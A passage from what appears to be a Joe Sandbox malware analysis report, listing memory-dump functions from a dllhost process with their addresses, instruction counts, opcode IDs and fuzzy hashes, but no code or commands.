                                                                                                                                        • Opcode Fuzzy Hash: 32bdbafbfb41b9735dcc5940b8478034e59fe6dbc4001de5f4c6a3c42a8241a1
                                                                                                                                        • Instruction Fuzzy Hash: 2231B02064E3C54EE7579374AC68AE53F716F43364F1901EAE0CACF4A3CA99051AD752
                                                                                                                                        Function 00007FFD9C078745 Relevance: .1, Instructions: 96COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 1470bc35fbd800fa73a57be7e1931b3fa0ffbab32d74d7dcd39438e513c702e5
                                                                                                                                        • Instruction ID: 3b851aed26691aa542ac080ccb40966d8bf1a922cf1e6611edce2ba362174c55
                                                                                                                                        • Opcode Fuzzy Hash: 1470bc35fbd800fa73a57be7e1931b3fa0ffbab32d74d7dcd39438e513c702e5
                                                                                                                                        • Instruction Fuzzy Hash: E631B472F0D5474FEBADA7984C631A8B7E1EF55350F04027AC05ED71C2DE28A9059391
                                                                                                                                        Function 00007FFD9C29C8DA Relevance: .1, Instructions: 94COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 184d4dc308960910eb99be2c88b2a58ea54f09b8804230d57ba395f412c37fb0
                                                                                                                                        • Instruction ID: 2565472d01ee01a3b000a23b3c105855657e4916484f1d68706569dbd667ee0d
                                                                                                                                        • Opcode Fuzzy Hash: 184d4dc308960910eb99be2c88b2a58ea54f09b8804230d57ba395f412c37fb0
                                                                                                                                        • Instruction Fuzzy Hash: 20218272B0D94A4FEB68E7A894726B8B7E1FF59350F5401B9D05EC72C3DE2868068741
                                                                                                                                        Function 00007FFD9C077D05 Relevance: .1, Instructions: 90COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: f707af441e219af06fa276768ef3596511d641710fb14edec7b0c3c9251bf18a
                                                                                                                                        • Instruction ID: 206c2b90776c4b622166b204234613904bc863ca1f406fd988e2e6a297b65b51
                                                                                                                                        • Opcode Fuzzy Hash: f707af441e219af06fa276768ef3596511d641710fb14edec7b0c3c9251bf18a
                                                                                                                                        • Instruction Fuzzy Hash: 9F218E30A1C64E8FCB9ADBA8D8605FC7BB1FF59340F5401AAD00AD3291DB246805D751
                                                                                                                                        Function 00007FFD9B980C25 Relevance: .1, Instructions: 89COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 60e3adbb8fa521817ff9580d33c39d571a2149afa3096fc7f9d7806e9e811289
                                                                                                                                        • Instruction ID: 46f13ab7d30f168ba05f8629cb992b51de6da0ea9cfd4c491e27f2599fa78b05
                                                                                                                                        • Opcode Fuzzy Hash: 60e3adbb8fa521817ff9580d33c39d571a2149afa3096fc7f9d7806e9e811289
                                                                                                                                        • Instruction Fuzzy Hash: E0313571B0EA8E8FE311AFA8C8212ED7B70EF82310F0505B7C154D71E2CA382649C791
                                                                                                                                        Function 00007FFD9C0786A2 Relevance: .1, Instructions: 84COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 187f0112222508e3350eea64fad091bd480ae284549355bbb111507ce84f2220
                                                                                                                                        • Instruction ID: bdbaf86a2bbc1dfd2d3142146ce1933c6a37d59470d2b065e6c8458a922f6350
                                                                                                                                        • Opcode Fuzzy Hash: 187f0112222508e3350eea64fad091bd480ae284549355bbb111507ce84f2220
                                                                                                                                        • Instruction Fuzzy Hash: 15213071B0990B9FDB68EB98D8A29A8F7B1FF58350F504279D05EA7581CF24BC11DB80
                                                                                                                                        Function 00007FFD9B988AE3 Relevance: .1, Instructions: 82COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 2601fadc52901589bef3ce53e517604a941a7a430336da241a83f2cfc9449822
                                                                                                                                        • Instruction ID: 9c1bc153d4cdb8c02243bca00856dc02895d073455aee3fe9cf7303306c78bb3
                                                                                                                                        • Opcode Fuzzy Hash: 2601fadc52901589bef3ce53e517604a941a7a430336da241a83f2cfc9449822
                                                                                                                                        • Instruction Fuzzy Hash: 1731CD70A2591D9EEBA4DB54C8A4BE8B7B1FF14305F1145EAC00DA76A1DF746AC4CF10
                                                                                                                                        Function 00007FFD9B988B20 Relevance: .1, Instructions: 80COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 63f26a2bde8f1df7049bc8da6d46ba035d8da25747e9cb099a88372ed296c219
                                                                                                                                        • Instruction ID: 0f279f982fdd8ff73d9f82c77286a52ca8ba1ca851bc9a358df97c1a3b6102b9
                                                                                                                                        • Opcode Fuzzy Hash: 63f26a2bde8f1df7049bc8da6d46ba035d8da25747e9cb099a88372ed296c219
                                                                                                                                        • Instruction Fuzzy Hash: B831C470E1592D8EEBA4EF58D8A87E8B7B1EB54305F0501EAD00DA72A1DB755AC4CF10
                                                                                                                                        Function 00007FFD9C077FF0 Relevance: .1, Instructions: 77COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 3dcc9b21e47b91d8d4cff837afff430c21f97e30bc0047f284872e65f41e4d47
                                                                                                                                        • Instruction ID: f79fd5dd5a81cee9e3d6470a391f86f113da152d0b557382e5ade6a6d2113351
                                                                                                                                        • Opcode Fuzzy Hash: 3dcc9b21e47b91d8d4cff837afff430c21f97e30bc0047f284872e65f41e4d47
                                                                                                                                        • Instruction Fuzzy Hash: 5621AF74A0895D8FDFA8EB98C865AACBBB1FF69341F1401ADC00DE7691CB356841DB40
                                                                                                                                        Function 00007FFD9B981162 Relevance: .1, Instructions: 74COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: c8aeb6b557544805068ab1c5f2f6c17a207dce14a0d19217ce900e1c95d76338
                                                                                                                                        • Instruction ID: 329fc827d0533a1125b75e3c2668fd50eed5893a0848d639c57cf594b2dbbf50
                                                                                                                                        • Opcode Fuzzy Hash: c8aeb6b557544805068ab1c5f2f6c17a207dce14a0d19217ce900e1c95d76338
                                                                                                                                        • Instruction Fuzzy Hash: E1213C30A1491E9FDB95EFA8C8989EDB7F1FF28304B11057AD419D32A5DF35A941CB40
                                                                                                                                        Function 00007FFD9C07876F Relevance: .1, Instructions: 71COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: be1626e6e78125642ed49fb9a6bdedc37ff74d544985a2b55d1069475f762d3a
                                                                                                                                        • Instruction ID: 97c7a614008c5577a35a4a4813af58a6b2aa220a6f80ec07efeed077ca79ccde
                                                                                                                                        • Opcode Fuzzy Hash: be1626e6e78125642ed49fb9a6bdedc37ff74d544985a2b55d1069475f762d3a
                                                                                                                                        • Instruction Fuzzy Hash: CD11D271F1994A4FEBADE7A88C626E8B7F1EF59350F44017AD01ED31C2DF2868469341
                                                                                                                                        Function 00007FFD9B98A7BA Relevance: .1, Instructions: 69COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 7d65300a8a3014660ef2a5b1724d37e2ed1a02f660eeeb0d17c5167431bf6fdc
                                                                                                                                        • Instruction ID: afe14d5da2820f12fdab7127ce112d81eb8e4979a1e04370a5e849f208874ef4
                                                                                                                                        • Opcode Fuzzy Hash: 7d65300a8a3014660ef2a5b1724d37e2ed1a02f660eeeb0d17c5167431bf6fdc
                                                                                                                                        • Instruction Fuzzy Hash: 62217971914D1C9FCF98DB14C855AEAB7B1FB68302F1041EA900EE36A1DF716A80DF41
                                                                                                                                        Function 00007FFD9C298354 Relevance: .1, Instructions: 65COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 771fffba758e709c6cb79e28ce0528ab1828b696770156e94e4f589ce7708174
                                                                                                                                        • Instruction ID: c83c3765cda6f0891db1ab740dcb41033fab5e9c6732d758032c74689252ae96
                                                                                                                                        • Opcode Fuzzy Hash: 771fffba758e709c6cb79e28ce0528ab1828b696770156e94e4f589ce7708174
                                                                                                                                        • Instruction Fuzzy Hash: DD219D3044E3C98FCB439F7488255E53FB0EF47214F0A41EBE888CB1A3D6299599C752
                                                                                                                                        Function 00007FFD9B980C38 Relevance: .1, Instructions: 59COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 8c7c2930ece7a884458033a15020eceb437c968f46356ac782d601863ac8a94a
                                                                                                                                        • Instruction ID: d184809fc486de06c427c227cb73a2d4ad4183604832c8b2bf05a9c0f75598bf
                                                                                                                                        • Opcode Fuzzy Hash: 8c7c2930ece7a884458033a15020eceb437c968f46356ac782d601863ac8a94a
                                                                                                                                        • Instruction Fuzzy Hash: 16110635B1EA9E8FE712AFA8D8212E97B70EF82310F0545B3D155DB1E2DA381609C791
                                                                                                                                        Function 00007FFD9C0725D8 Relevance: .1, Instructions: 58COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: b408b40f5f208e9002a8dd37b78c2be29ff039530e7bce70a7d04b07c888af99
                                                                                                                                        • Instruction ID: 69fceec12ae600f7c622beddb9b1120ed5f958578cff92c9b89e3aacb247ef2b
                                                                                                                                        • Opcode Fuzzy Hash: b408b40f5f208e9002a8dd37b78c2be29ff039530e7bce70a7d04b07c888af99
                                                                                                                                        • Instruction Fuzzy Hash: 5801C431F08A4F5BF7B896A40C292BD2AF5DF59380F14067AE00EF7191EE646C056391
                                                                                                                                        Function 00007FFD9C078125 Relevance: .1, Instructions: 57COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: e6eb5ee85296139f4b84464217d43e91643905a6fbb9e0e977cd785dba7cec2b
                                                                                                                                        • Instruction ID: 266aca8e7b9490d511052bb927d4f198edfae84cde7275011ccd5a628884fa7c
                                                                                                                                        • Opcode Fuzzy Hash: e6eb5ee85296139f4b84464217d43e91643905a6fbb9e0e977cd785dba7cec2b
                                                                                                                                        • Instruction Fuzzy Hash: C611DA34B1891E8BDB9CDB58D866ABDB3B1FB58310F0041BA901EE3691CE35A9418B00
                                                                                                                                        Function 00007FFD9C2983ED Relevance: .1, Instructions: 55COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 831f84db17431c61a9d0f805b9dc368d8286980da8b324e7e648cc152c86461a
                                                                                                                                        • Instruction ID: 91c224897af1db137dac058d9c7d530ac07beff6993ef33db23fa48fca75b4f4
                                                                                                                                        • Opcode Fuzzy Hash: 831f84db17431c61a9d0f805b9dc368d8286980da8b324e7e648cc152c86461a
                                                                                                                                        • Instruction Fuzzy Hash: 1501D222B1ED8F0FE3B4DA8995A167937E1EF58350F5900BAD00EC3292DD5868458342
                                                                                                                                        Function 00007FFD9B980B87 Relevance: .1, Instructions: 54COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 6c3c3940cc81deba406461a5274f74fb5197d4802d50627b3a4375a24dd501e8
                                                                                                                                        • Instruction ID: 8e768b3adbc09b4df2bf05bbe649990737ce717443b0716e6b9fbe2c4dc07ceb
                                                                                                                                        • Opcode Fuzzy Hash: 6c3c3940cc81deba406461a5274f74fb5197d4802d50627b3a4375a24dd501e8
                                                                                                                                        • Instruction Fuzzy Hash: 2211353166964DCFCF44EF68C891AEE77A0FF58348F02026AE849D3250D730A565CB81
                                                                                                                                        Function 00007FFD9C29846A Relevance: .1, Instructions: 54COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: c15c9804b4c6ff9b081fba3eea0a6716cc09a743364ddb9fe941bf5cb314cd04
                                                                                                                                        • Instruction ID: 3d39a878ecd6a8a3cc2dff1825e33d10e614a175d93d6b182a4c59a2121bf5f7
                                                                                                                                        • Opcode Fuzzy Hash: c15c9804b4c6ff9b081fba3eea0a6716cc09a743364ddb9fe941bf5cb314cd04
                                                                                                                                        • Instruction Fuzzy Hash: A401B531A1D98F9FDB659BA499212FE7BB1FF45340F4400BAD14ED2292DE296114C750
                                                                                                                                        Function 00007FFD9B980C40 Relevance: .1, Instructions: 53COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: cbb28b5f8ddabd78d5978a93605f8c699291329646da64f2749ea489a0d051ed
                                                                                                                                        • Instruction ID: 9a178ef6749a622b85deb22ee88534227bbb40ce587a3ed369dee71421ef1455
                                                                                                                                        • Opcode Fuzzy Hash: cbb28b5f8ddabd78d5978a93605f8c699291329646da64f2749ea489a0d051ed
                                                                                                                                        • Instruction Fuzzy Hash: FF11E535B0E69E8FE712ABA4D8612E97B70EF42310F0545B3D055DB1E2CA381619CB91
                                                                                                                                        Function 00007FFD9C299519 Relevance: .1, Instructions: 52COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: ec24e18272d64e38387c3100fb7ff2d9694f87c6105143047a5735c11f28b5bd
                                                                                                                                        • Instruction ID: 7a3e39ecd4147a02170424413c463047bc78e9a7fb2abaa731c11e3160b8e4bc
                                                                                                                                        • Opcode Fuzzy Hash: ec24e18272d64e38387c3100fb7ff2d9694f87c6105143047a5735c11f28b5bd
                                                                                                                                        • Instruction Fuzzy Hash: 1B113C70908A8D9FCF85EF68C858AEA7BF0FF29300F05059BE418D72A1D7349954CB41
                                                                                                                                        Function 00007FFD9C29A98A Relevance: .1, Instructions: 52COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 8e8b6ea59de814aa5d58dfcfe7b322c3c609709dae90f62920abdab410d31601
                                                                                                                                        • Instruction ID: a194f18747c963f17d3846e89f08a4be71bcc251c3f89db143015830b05796c1
                                                                                                                                        • Opcode Fuzzy Hash: 8e8b6ea59de814aa5d58dfcfe7b322c3c609709dae90f62920abdab410d31601
                                                                                                                                        • Instruction Fuzzy Hash: 0F01E119F4D2A7C6F23897D527321BC7170BF553A0F2602BAD44F823C29C0D2B816282
                                                                                                                                        Function 00007FFD9C29B479 Relevance: .1, Instructions: 51COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 53ab68e24fd0f46ed74e8a768a4f14eaedf7bd4b049d610eaaa234342579dfe3
                                                                                                                                        • Instruction ID: 0d3f4b54b580c4dbced76b687a8356196e99ae6c9373fb0c017a65f743ceb8ad
                                                                                                                                        • Opcode Fuzzy Hash: 53ab68e24fd0f46ed74e8a768a4f14eaedf7bd4b049d610eaaa234342579dfe3
                                                                                                                                        • Instruction Fuzzy Hash: 7E118E3090969D8FCF85DF68C8589E93BF0FF69300F05059AE458C72A2D774D954CB81
                                                                                                                                        Function 00007FFD9C292FD9 Relevance: .0, Instructions: 49COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: c72d5ce54f1b7b15e8de08e1cd74c31d0acb833970ee95cb37a64c6633ad9588
                                                                                                                                        • Instruction ID: 23681c22c041c7a51791c541d8a997ab19a23d1bd7ba8a31233499171e7dd47a
                                                                                                                                        • Opcode Fuzzy Hash: c72d5ce54f1b7b15e8de08e1cd74c31d0acb833970ee95cb37a64c6633ad9588
                                                                                                                                        • Instruction Fuzzy Hash: 9C114070908A4D8FDF95EF68C898AEA7FF0FF69301F0405AAD419D72A1DB349554CB41
                                                                                                                                        Function 00007FFD9C299259 Relevance: .0, Instructions: 48COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: d1c6d7a279df13df729beb7669aae2502abdb114ef6fb0f704a3187268458888
                                                                                                                                        • Instruction ID: 78a57e893d63df4ef39ebfd0076ec26a772d9fa0aef56c8bb5f97473345274ea
                                                                                                                                        • Opcode Fuzzy Hash: d1c6d7a279df13df729beb7669aae2502abdb114ef6fb0f704a3187268458888
                                                                                                                                        • Instruction Fuzzy Hash: 2B01E970908A4D8FCF85EF68C858AEE7BF0FF69301F05059AE418D72A2DB349994CB41
                                                                                                                                        Function 00007FFD9B985DD6 Relevance: .0, Instructions: 47COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4159160746.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9b980000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 477ac62bd3f399fdb67e22a64bca8ecad3ea9eac984b8385dcf612cbdc34e011
                                                                                                                                        • Instruction ID: 0aef3d843e6cab44259615d4518a9e5b99676556f7a1de19ab80504ee0448698
                                                                                                                                        • Opcode Fuzzy Hash: 477ac62bd3f399fdb67e22a64bca8ecad3ea9eac984b8385dcf612cbdc34e011
                                                                                                                                        • Instruction Fuzzy Hash: 95111C74A1692D8EEB64EB54CC547ECB3B1EB84315F0141A9D14EA73E2DA386A84CF04
                                                                                                                                        Function 00007FFD9C29A581 Relevance: .0, Instructions: 47COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4173342535.00007FFD9C290000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C290000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c290000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: e4cbba7ee8d959357d12ecbbe985c46f1fd44c6f8a41a2575a812b093a6b678f
                                                                                                                                        • Instruction ID: 3b7aecbf0662e3d996ee87bb1db5617c8bf42c550edd1b62b53b6c7baed55f52
                                                                                                                                        • Opcode Fuzzy Hash: e4cbba7ee8d959357d12ecbbe985c46f1fd44c6f8a41a2575a812b093a6b678f
                                                                                                                                        • Instruction Fuzzy Hash: CE012C3090864DCFCB45EF68C899AE97BF0FF68304F4545AAE409C7261DB34E594CB81
                                                                                                                                        Function 00007FFD9C078099 Relevance: .0, Instructions: 44COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000005.00000002.4168869654.00007FFD9C070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C070000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_5_2_7ffd9c070000_dllhost.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: 8c7b62256c1f94f439a93b58e524fe90c2b91dcf02bf1e6486a95406f2e1f08a
                                                                                                                                        • Instruction ID: 745a911b05f23ec9412256956c9b1383fa61643c2a05632f0c5f97f8ef747899
                                                                                                                                        • Opcode Fuzzy Hash: 8c7b62256c1f94f439a93b58e524fe90c2b91dcf02bf1e6486a95406f2e1f08a
